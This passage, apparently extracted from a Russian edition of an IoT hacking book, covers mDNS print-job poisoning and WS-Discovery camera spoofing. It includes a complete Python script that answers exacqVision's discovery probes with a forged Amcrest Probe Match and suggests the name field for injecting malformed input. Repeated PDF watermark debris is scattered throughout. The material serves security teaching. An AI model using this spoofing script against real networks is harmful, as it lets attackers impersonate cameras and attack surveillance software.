Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / практический хакинг.pdf
Скачиваний:
24
Добавлен:
19.04.2024
Размер:
31.35 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Accepted connection from 192.168.10.199 192.168.10.199 Starting HTTPS session. 192.168.10.199 Connection now encrypted.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

При запущенном отравителе mDNS клиент (192.168.10.199) будет подключаться к серверу злоумышленника вместо легитимного прин- тера (192.168.10.219) для отправки задания на печать.

Но эта атака не пересылает автоматически задание печати или до- кумент на настоящий принтер. Обратите внимание, что в этом сце- нарии реализация Bonjour mDNS/DNS-SD, похоже, запрашивает имя _universal каждый раз, когда пользователь пытается что-то напеча- тать с MacBook, и этот запрос тоже должен быть отравлен. Причина в том,что MacBook был подключен к нашей лаборатории через Wi-Fi, а macOS пыталась использовать AirPrint, функцию macOS для печати через Wi-Fi. Имя _universal связано с AirPrint.

Использование WS-Discovery

Протокол динамического обнаружения веб-служб (Web Services Dynam- ic Discovery,WS-Discovery)–это протокол широковещательного обна- ружения,которыйнаходитслужбывлокальнойсети.Выкогда-нибудь задумывались,чтомоглобыслучиться,еслибывыимитировалисете- вое поведение IP-камеры и атаковали сервер,который ею управляет? Корпоративные сети, в которых находится большое количество ка- мер, часто полагаются на серверы управления видео – программное обеспечение,которое позволяет системным администраторам и опе- раторам удаленно управлять устройствами и просматривать видео- поток через централизованный интерфейс.

Большинство современных IP-камер поддерживаютONVIF,откры- тый отраслевой стандарт,разработанныйдлятого,чтобы физические устройства систем безопасности­ на основе IP,включая камеры видео- наблюдения,видеорегистраторы и сопутствующее программное обе- спечение,взаимодействовали друг с другом.Это открытый протокол, который разработчики программного обеспечения для видеонаблю- дения могут использовать для взаимодействия с устройствами, со- вместимыми с ONVIF, независимо от их производителя. Одна из его функций – автоматическое обнаружение устройств, которое обычно выполняется с помощью WS-Discovery. В этом разделе мы объясним, как работает WS-Discovery, создадим испытательный скрипт Python дляэксплуатациивнутреннихуязвимостейпротокола,настроимпод- дельную IP-камеру в локальной сети и обсудим другие векторы атак.

Как работает WS-Discovery

Не вдаваясь в подробности, опишем вкратце, как работает WS-Disco­ very. В терминологии WS-Discovery целевая служба – это конечная точка, доступная для обнаружения, тогда как клиент – это конечная

Использование сети с нулевой конфигурацией  181

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

точка, которая ищет целевые службы. И те и другие используют за-

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

просы SOAP через UDP на многоадресный адрес 239.255.255.250 с це-

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

левым портом UDP 3702. На рис. 6.13 представлен обмен сообщения- ми между ними.

Целевая служба

 

Клиент

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Многоадресная рассылка Hello

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Многоадресная рассылка Probe

 

 

 

 

 

 

 

 

 

 

 

 

 

Проверка совпадения (PM) /

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Проверка совпадения (PM) / одноадресная рассылка

одноадресная рассылка

Разрешение / многоадресная рассылка

Разрешение совпадения (RM) / одноадресная рассылка

Многоадресная рассылка Bye

Рис.6.13.Обмен сообщениями WS-Discovery между целевой службой и клиентом

Целевая служба отправляет широковещательное сообщение Hello , когда присоединяется к сети. Целевая служба может получить ши- роковещательный ответ Probe , сообщение, отправленное в произ- вольный момент времени клиентом, ищущим целевую службу опре- деленноготипа.Тип–этоидентификаторконечнойточки.Например, IP-камера может иметь тип NetworkVideoTransmitter. Клиент также может отправить одноадресный запрос Probe Match , если целевая служба совпадаетс запросом Probe (другие соответствующие целевые службы также могут отправлять одноадресные запросы Probe Match). Точно так же целевая служба может в любое время получить широко- вещательное сообщение Resolve ,отправленное клиентом,ищущим цель по имени, и отправить одноадресное сообщение Resolve Match , если она является целью запроса Resolve. Наконец, когда целевая служба покидает сеть, она пытается отправить широковещательное сообщение Bye .

Клиент зеркалирует сообщения целевой службы. Он прослушивает широковещательные сообщения Hello,наблюдает,как Probe опраши-

182  Глава 6

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вает целевые службы или Resolve находит конкретную целевую служ-

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

бу, и прослушивает широковещательную передачу Bye. В основномdf-x chan

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

мы сосредоточимся на втором и третьем шагах атаки, которую выполним в этом разделе.

Подделка камер в вашей сети

Сначала настроим тестовую среду с программным обеспечением для управления IP-камерой на виртуальной машине, а затем будем ис- пользовать реальную сетевую камеру для захвата пакетов и анализа их взаимодействия с программным обеспечением через WS-Discov- ery на практике. Наконец, создадим сценарий Python, который будет имитировать камеру с целью атаки на программное обеспечение для управления камерой.

Настройка

Мы продемонстрируем эту атаку, используя более раннюю версию (версия 7.8) exacqVision, широко известного инструмента для управ- ления IP-камерами. Вы также можете выбрать аналогичный бесплат- ный инструмент, например Camlytics, iSpy или любое программное обеспечение для управления камерой, использующее WS-Discovery. Мы разместим программное обеспечение на виртуальной машине с IP-адресом 192.168.10.240.Реальная сетевая камера,которую мы бу-

дем имитировать,имеет IP-адрес 192.168.10.245.Версию exacqVision,

которую мы используем,можно найти по адресу https://www.exacq.com/ reseller/legacy/?file=Legacy/index.html/.

Установите сервер и клиент exacqVision в системе Windows 7, раз- мещеннойвVMware,азатемзапуститеклиентexacqVision.Ондолжен подключатьсялокальноксоответствующемусерверу;клиентдейству- еткак пользовательский интерфейсдля сервера,которыйдолжен был запускаться в системе как фоновая служба. Затем мы можем начать обнаружение сетевых камер.На странице конфигурации нажмите ex- acqVision Server > Configure System > Add IP Cameras (Сервер exac- qVision > Настроить систему > Добавить IP-камеры),а затем–кнопку Rescan Network (Повторное сканирование сети) – рис. 6.14.

ЭтоприведеткотправкесообщенияProbe(сообщение2нарис.6.14) на широковещательный адрес 239.255.255.250 через UDP-порт 3702.

Анализ запросов и ответов WS-Discovery в Wireshark

Как злоумышленники могут выдать себя за камеру в сети? Довольно легкопонять,какработаюттипичныезапросыиответыWS-Discovery, поэкспериментировав со стандартной камерой наподобие Amcrest, как показано в этом разделе. В Wireshark начните с включения дис- сектора XML over UDP (XML поверх UDP), нажав Analyze (Анализи- ровать) в строке меню. Затем нажмите Enabled protocols (Включен- ныепротоколы).Выполнитепоискпозапросуudpипоставьтефлажок

XML over UDP (рис. 6.15).

Использование сети с нулевой конфигурацией  183

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.6.14.Клиентский интерфейс exacqVision для обнаружения новых сетевых камер с помощью WS-Discovery

Рис.6.15.Выбор диссектора XML over UDP в Wireshark

Затем активируйте Wireshark на виртуальной машине, на которой работает сервер exacqVision, и захватите ответ Probe Match (сооб- щение 3 из 9) от камеры Amcrest в ответ на запрос Probe протокола WS-Discovery. Затем можно щелкнуть пакет правой кнопкой мыши и выбрать команды Follow > UDP stream (Отслеживать > поток UDP). Мы должны увидеть весь запрос SOAP/XML. Нам понадобится это значение запроса в следующем разделе, когда будем разрабатывать скрипт; мы вставим его в переменную orig_buf в листинге 6.4.

Нарис.6.16показанывыходныеданныеWS-DiscoveryProbeвWire- shark. Клиент exacqVision выводит эту информацию при каждом ска- нировании сети для поиска новых IP-камер.

Наиболее важной частью этого сканирования сети является UUID MessageID (выделен рамкой), потому что он должен быть включен в ответ Probe Match. (Вы можете прочитать об этом в официаль- ной спецификации WS-Discovery по адресу /s:Envelope/s:Header/ a:RelatesTo MUST be the value of the [message id] property[WS-Addressing] of the Probe.)

На рис. 6.17 показан ответ Probe Match от реальной IP-камеры Am- crest.

184  Глава 6

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.6.16.Зонд WS-Discovery от exacqVision,вывод Wireshark

Рис.6.17.Ответ Probe Match от IP-камеры Amcrest в сети.

Обратите внимание,что UUID RelatesTo совпадает с UUID MessageID,отправленным exacqVision

Поле RelatesTo содержиттот же UUID, что и UUID в MessageID в со- ставе полезной нагрузки XML, отправленной клиентом exacqVision.

Использование сети с нулевой конфигурацией  185

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Эмуляция камеры в сети

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

Теперьмы напишем скриптPython,который имитируетреальную ка-

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

меру в сети с целью атаки на программное обеспечение exacqVision

иподмены настоящей камеры. Мы будем использовать ответ Probe Match камеры Amcrest в качестве основы для создания атакующей нагрузки. Нам нужно создать прослушиватель в сети, который полу-

чает WS-Discovery Probe от exacqVision, извлекает из него MessageID

ииспользуетегодля формирования нашей атакующей нагрузки в ка-

честве ответа WS-Discovery Probe Match.

Первая часть нашего кода импортирует необходимые модули Py- thon и определяет переменную, содержащую исходный ответ Probe Match от камеры Amcrest (см.листинг 6.4).

Листинг 6.4. Импорт модуля и определение исходного ответа WS-Discovery Probe Match от камеры Amcrest

#!/usr/bin/env python import socket

import struct import sys import uuid buf = ""

orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope xmlns:sc="http://www.w3.org/2003/05/soap-encoding" xmlns:s="http://www.w3.org/2003/05/ soapenvelope"

xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns:tds="http://www.onvif.org/ ver10/device/wsdl" xmlns:d="http://schemas.xmlsoap.org/ws/2005/04/discovery" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">\ <s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoaporg: ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/ ProbeMatches\ </a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatch es><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab- 6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china \ onvif://www.onvif.org/name/Amcrest \

onvif://www.onvif.org/hardware/IP2M-841B \ onvif://www.onvif.org/Profile/Streaming \ onvif://www.onvif.org/type/Network_Video_Transmitter \ onvif://www.onvif.org/extension/unique_identifier</d:Scopes>\

<d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</ d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>'''

МыначинаемсостандартногомаркераPython(#!),чтобыубедиться, что сценарий может запускаться из командной строки без указания полного пути интерпретатора Python,атакже необходимого импорта модулей. Затем создаем переменную orig_buf , которая содержит исходный ответ WS-Discovery отAmcrest в виде строки.Напомним из предыдущего раздела, что мы вставили XML-запрос в переменную после захвата сообщения в Wireshark.Создаем заполнитель _MESSAGE-

186  Глава 6

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ID_ и заменяем его на новый уникальный UUID, который мыwбу-

 

 

 

 

 

m

w Click

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

дем генерировать каждый раз при получении пакета. Аналогичнымdf-x chan

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

образом _PROBEUUID_ будет содержать извлеченный UUID из зонда WS-Discovery во время выполнения. Нам нужно извлекать его каж- дый раз, когда мы получаем новый зонд WS-Discovery от exacqVision. Частьname полезной нагрузки XML–хорошее местодля подсовыва- ния неверно сформированного ввода,потому что мы видели,что имя Amcrest появляется в списке камер клиента и,таким образом,должно сначала быть проанализировано программным обеспечением внут­ ри.Следующая часть кода в листинге 6.5 настраивает сетевые сокеты. Поместите ее сразу после кода в листинге 6.3.

Листинг 6.5. Настройка сетевых сокетов

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('239.255.255.250', 3702))

mreq = struct.pack("=4sl", socket.inet_aton("239.255.255.250"), socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

Мы создаем сокет UDP и устанавливаем опцию сокета SO_REUSEADDR,которая позволяет сокету привязываться к тому же порту вся- кий раз, когда мы перезапускаем скрипт. Затем выполняем привязку к широковещательному адресу 239.255.255.250 на порту 3702,потому что это стандартный адрес многоадресной рассылки и порт по умол- чанию, используемые в WS-Discovery. Мы также должны сообщить ядру, что мы заинтересованы в получении сетевого трафика, направ- ленного на 239.255.255.250, путем присоединения к этому группово- му адресу многоадресной рассылки.

В листинге 6.6 показана заключительная часть нашего кода, кото- рая включает основной цикл.

Листинг 6.6. Основной цикл, который получает сообщение WS-Discovery Probe, извлекает MessageID и отправляет полезные данные атаки

while True:

print("Waiting for WS-Discovery message...\n", file=sys.stderr) data, addr = sock.recvfrom(1024)

if data:

server_addr = addr[0] server_port = addr[1]

print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr) print('%s' % (data), file=sys.stderr)

print("\n", file=sys.stderr)

#если это не WS-Discovery Probe, то распознавание не выполняем if "Probe" not in data:

continue

#сначала находим тег MessageID

Использование сети с нулевой конфигурацией  187

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

m = data.find("MessageID")

#начинаем искать "uuid" начиная с текущего места в буфере u = data[m:-1].find("uuid")

num = m + u + len("uuid:")

#теперь ищем закрывающий тег

end = data[num:-1].find("<")

#извлекаем uuid из MessageID orig_uuid = data[num:num + end]

print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr)

#заменяем _PROBEUUID_ в буфере извлеченным значением

buf = orig_buf

buf = buf.replace("_PROBEUUID_", orig_uuid)

# создаем новый случайный UUID для каждого пакета buf = buf.replace("_MESSAGEID_", str(uuid.uuid4()))

print("Sending WS reply to %s:%s\n" % (server_addr, server_port), file=sys.stderr)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.sendto(buf, (server_addr, server_port))

Сценарий входит в бесконечный цикл, в котором он ожидает со- общения WS-Discovery Probe , пока мы его не остановим (Ctrl+C осуществляет выход из цикла в Linux). Получая пакет, содержащий данные, мы получаем IP-адрес отправителя и порт и сохраняем их в переменных server_addr и server_port соответственно. Затем про- веряем, включена ли строка "Probe" в полученный пакет; если это так, мы предполагаем, что этот пакет является зондом WS-Discovery. В противном случае мы больше ничего не делаем с пакетом.

Затем мы пытаемся найти и извлечь UUID из тега MessageID XML без использования какой-либо части библиотеки XML (поскольку это создастненужные накладные расходы и усложнитстольпростую опе- рацию),полагаясьтольконабазовыеманипуляциисостроками.Мы заменяем заполнитель _PROBEUUID_ из листинга 6.3 на извлеченный UUID и создаем новый случайный UUID для замены заполнителя _MESSAGE_ID . Затем отправляем UDP пакет обратно отправителю .

Вот пример запуска скрипта для программного обеспечения exac- qVision:

root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py

Waiting for WS-Discovery message...

Received from: 192.168.10.169:54374

<?xml version="1.1" encoding="utf-8"?><Envelope xmlns:dn="http://www.onvif.org/ver10/network/ wsdl" xmlns="http://www.w3.org/2003/05/soap-envelope"><Header><wsa:MessageID xmlns:wsa="http:// schemas.xmlsoap.org/ws/2004/08/addressing">urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</ wsa:MessageID><wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/ addressing">urn:schemasxmlsoap-

org:ws:2005:04:discovery</wsa:To><wsa:Action xmlns:wsa="http://schemas.xmlsoap.org/ ws/2004/08/addressing">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></ Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.

188  Глава 6